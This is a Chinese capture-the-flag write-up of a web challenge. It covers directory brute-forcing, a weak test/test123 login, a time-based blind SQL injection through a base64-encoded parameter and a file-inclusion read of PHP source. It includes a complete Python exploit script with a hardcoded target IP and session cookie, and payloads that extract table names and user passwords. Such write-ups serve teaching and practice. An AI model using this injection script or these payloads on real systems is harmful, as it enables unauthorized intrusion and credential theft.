某平台一道ctf题
说是ctf题,其实还是更倾向于黑盒渗透的思路
信息收集
打开页面只有一个孤零零的403,只爆破出了info.php,phpinfo内容,以及存在/static和/user目录
这里没其他思路,继续爆后台了,这里一开始拿我所有的字典都没爆破出来,又找了好几个,干出来一个Login.php
发现是一个登陆页面,因为用户名输入正确时会返回密码错误,用户名输入错误时会返回无此用户,在这里测试了很久布尔盲注,以及其他各类注入发现还是不行
又一直爆破,发现有test/test123的弱口令问题,这里有一个小坑,我的火狐在登陆成功后不会跳转,抓包看了下来源登陆页面,或者chrome就不会有这个问题
登陆
sql注入
测试各个点,最终,手动输入参数aid=3
转到
在这里发现id进行了base64,这里还是比较可疑,通过不断地测试最终发现id可以进行时间盲注,这里坑点是一开始编写exp,没带入cookie导致一直无法注出内容
编写exp
# coding:utf-8
import requests
import datetime
import time
import base64
cookie = {
'PHPSESSID':'8qc5nhbrbtghgj6ck7f4c4gje1'
}
name = ''
for j in range(1, 30):
for i in range(1,128):
url = 'http://121.37.189.111:8005/user/Article.php?aid=3&id='
#payload = "1 and if(substr(database(),{},1)='{}',sleep(3),1)#".format(j, i) #level2
#payload = "1 and if(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'level2'),{},1)='{}',sleep(3),1)#".format(j,i) #article,user
#payload = "1 and if(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME = 'user'),{},1)='{}',sleep(3),1)#".format(j,i) #id,uid,text,title,s id,username,password
payload = "1 and if(substr((select group_concat(password) from user),{},1)='{}',sleep(3),1)#".format(j,chr(i)) #admin,test,wanglin,
print(payload)
payload = payload.encode()
payload = base64.b64encode(payload)
payload = str(payload,'utf-8')
print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload,cookies=cookie)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec > 3:
name += chr(i)
print(name)
break
print('name:', name)
爆出最终密码,此处省略
登陆
查看源码发现此处读取图片的地方很可能会有文件包含漏洞
文件包含
确实存在文件包含,利用此漏洞先读取此文件Home.php源代码
//Home.php
<?php
error_reporting(0);
require_once("../static/header.html");
require_once("Base.php");
$user = isUser();
if($user=="user"){
echo "<h2>hello ".$_SESSION['username']."</h2><br>";
echo "我没有secret,但我有一颗...的心=。=";
echo "<br>我的记录:<br>";
}else if($user=="admin"){
echo "hello ".$_SESSION['adminname'];
echo "<br>我有个secret,是我最珍视的宝物,我就把它藏在附近!";
echo "<img src=Read.php?filename=1605259009017.jpg width='50' height='50'>";
echo "<br>我的记录:<br>";
}
require_once("Article.php");
?>
发现包含了Base.php,继续读取
//Base.php
<?php
function isUser()
{
session_start();
//判断用户是否登陆
if ($_SESSION['adminname'] != "") {
return "admin";
}else if($_SESSION['username'] != ""){
return "user";
}else {
header('content-type:text/html;charset=uft-8');
header('location:../Login.php');
exit();
}
}
//关于邀请码:
#include("meifahufujiulaimingdu.php");
发现hint,包含了meifahufujiulaimingdu.php继续读
//meifahufujiulaimingdu.php
<?php
#关于邀请码,嗯,一目了然。
require_once("Base.php");
error_reporting(0);
//$user = isUser();
$url = "http://172.17.0.1:3000/code";
$email = "";
function send_post( $url , $post_data ) {
$postdata = http_build_query( $post_data );
$options = array (
'http' => array (
'method' => 'POST' ,
'header' => 'Content-type:application/x-www-form-urlencoded' ,
'content' => $postdata ,
'timeout' => 15 * 60
)
);
$context = stream_context_create( $options );
$result = file_get_contents ( $url , false, $context );
return $result ;
}
$post_data = array (
'e' => $_POST['email']
);
echo send_post( $url , $post_data );
#ps:建团?什么建团? 啊,哦,那个啊,我记得小姐把它扔到static下面去了,有心的话,去那儿找找吧。
代码审计
这里file_get_contents本来应该可以读/code目录下的内容,但是访问没有,应该是扒了道题下来,没有删。看hint扔到static下面,正好记得之前有static目录,测试发现PHP文件得到flag
总结
黑盒测试与ctf不同的就是,其实实际难度可能不大(技术侧面),本题也无waf,直接时间盲注即可。